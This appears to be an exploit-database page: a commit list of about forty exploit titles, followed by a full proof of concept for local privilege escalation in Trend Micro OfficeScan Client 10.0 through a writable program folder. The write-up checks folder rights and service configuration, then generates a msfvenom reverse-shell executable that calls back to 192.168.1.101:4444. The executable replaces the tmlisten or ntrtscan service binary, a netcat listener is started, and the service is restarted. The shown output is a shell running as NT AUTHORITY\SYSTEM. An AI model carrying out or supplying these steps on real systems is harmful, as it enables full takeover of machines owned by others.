0a7adaa3fc
40 changes to exploits/shellcodes/ghdb Optoma 1080PSTX Firmware C02 - Authentication Bypass Screen SFT DAB 600/C - Authentication Bypass Account Creation Screen SFT DAB 600/C - Authentication Bypass Admin Password Change Screen SFT DAB 600/C - Authentication Bypass Erase Account Screen SFT DAB 600/C - Authentication Bypass Password Change Screen SFT DAB 600/C - Authentication Bypass Reset Board Config Screen SFT DAB 600/C - Unauthenticated Information Disclosure (userManager.cgx) PnPSCADA v2.x - Unauthenticated PostgreSQL Injection Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution Yank Note v3.52.1 (Electron) - Arbitrary Code Execution Apache Superset 2.0.0 - Authentication Bypass FusionInvoice 2023-1.0 - Stored XSS (Cross-Site Scripting) PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE) Affiliate Me Version 5.0.1 - SQL Injection Best POS Management System v1.0 - Unauthenticated Remote Code Execution Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated) ChurchCRM v4.5.4 - Reflected XSS via Image (Authenticated) CiviCRM 5.59.alpha1 - Stored XSS (Cross-Site Scripting) e107 v2.3.2 - Reflected XSS File Thingie 2.5.7 - Remote Code Execution (RCE) GetSimple CMS v3.3.16 - Remote Code Execution (RCE) LeadPro CRM v1.0 - SQL Injection PodcastGenerator 3.2.9 - Multiple Stored Cross-Site Scripting (XSS) Prestashop 8.0.4 - CSV injection Quicklancer v1.0 - SQL Injection SitemagicCMS 4.4.3 - Remote Code Execution (RCE) Smart School v1.0 - SQL Injection Stackposts Social Marketing Tool v1.0 - SQL Injection thrsrossi Millhouse-Project 1.414 - Remote Code Execution TinyWebGallery v2.5 - Remote Code Execution (RCE) WBiz Desk 1.2 - SQL Injection Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS) WordPress Plugin Backup Migration 1.2.8 - Unauthenticated Database Backup Cameleon CMS 2.7.4 - Persistent Stored XSS in Post Title Hubstaff 1.6.14-61e5e22e - 'wow64log' DLL Search Order Hijacking MobileTrans 4.0.11 - Weak Service Privilege Escalation Trend Micro OfficeScan Client 10.0 - ACL Service LPE eScan Management Console 14.0.1400.2281 - Cross Site Scripting eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated)
91 lines
No EOL
3.5 KiB
Text
91 lines
No EOL
3.5 KiB
Text
# Exploit Title: Trend Micro OfficeScan Client 10.0 - ACL Service LPE
|
|
# Date: 2023/05/04
|
|
# Exploit Author: msd0pe
|
|
# Vendor Homepage: https://www.trendmicro.com
|
|
# My Github: https://github.com/msd0pe-1
|
|
|
|
|
|
Trend Micro OfficeScan Client:
|
|
Versions =< 10.0 contains wrong ACL rights on the OfficeScan client folder which allows attackers to escalate privileges to the system level through the services. This vulnerabily does not need any privileges access.
|
|
|
|
[1] Verify the folder rights:
|
|
> icacls "C:\Program Files (x86)\Trend Micro\OfficeScan Client"
|
|
|
|
C:\Program Files (x86)\Trend Micro\OfficeScan Client NT SERVICE\TrustedInstaller:(F)
|
|
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
|
|
NT AUTHORITY\SYSTEM:(F)
|
|
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
|
|
BUILTIN\Administrators:(F)
|
|
BUILTIN\Administrators:(OI)(CI)(IO)(F)
|
|
BUILTIN\Users:(F)
|
|
BUILTIN\Users:(OI)(CI)(IO)(F)
|
|
CREATOR OWNER:(OI)(CI)(IO)(F)
|
|
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
|
|
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)
|
|
|
|
[2] Get informations about the services:
|
|
> sc qc tmlisten
|
|
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: tmlisten
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\tmlisten.exe"
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : OfficeScan NT Listener
|
|
DEPENDENCIES : Netman
|
|
: WinMgmt
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
OR
|
|
|
|
> sc qc ntrtscan
|
|
|
|
SERVICE_NAME: ntrtscan
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\ntrtscan.exe"
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : OfficeScan NT RealTime Scan
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
[3] Generate a reverse shell:
|
|
> msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o tmlisten.exe
|
|
|
|
OR
|
|
|
|
> msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o ntrtscan.exe
|
|
|
|
[4] Upload the reverse shell to C:\Program Files(x86)\Trend Micro\OfficeScan Client\tmlisten.exe OR C:\Program Files(x86)\Trend Micro\OfficeScan Client\ntrtscan.exe
|
|
|
|
[5] Start listener
|
|
> nc -lvp 4444
|
|
|
|
[6] Reboot the service/server
|
|
> sc stop tmlisten
|
|
> sc start tmlisten
|
|
|
|
OR
|
|
|
|
> sc stop ntrtscan
|
|
> sc start ntrtscan
|
|
|
|
OR
|
|
|
|
> shutdown /r
|
|
|
|
[7] Enjoy !
|
|
192.168.1.102: inverse host lookup failed: Unknown host
|
|
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
|
|
Microsoft Windows [Version 10.0.19045.2130]
|
|
(c) Microsoft Corporation. All rights reserved.
|
|
|
|
C:\Windows\system32>whoami
|
|
|
|
nt authority\system |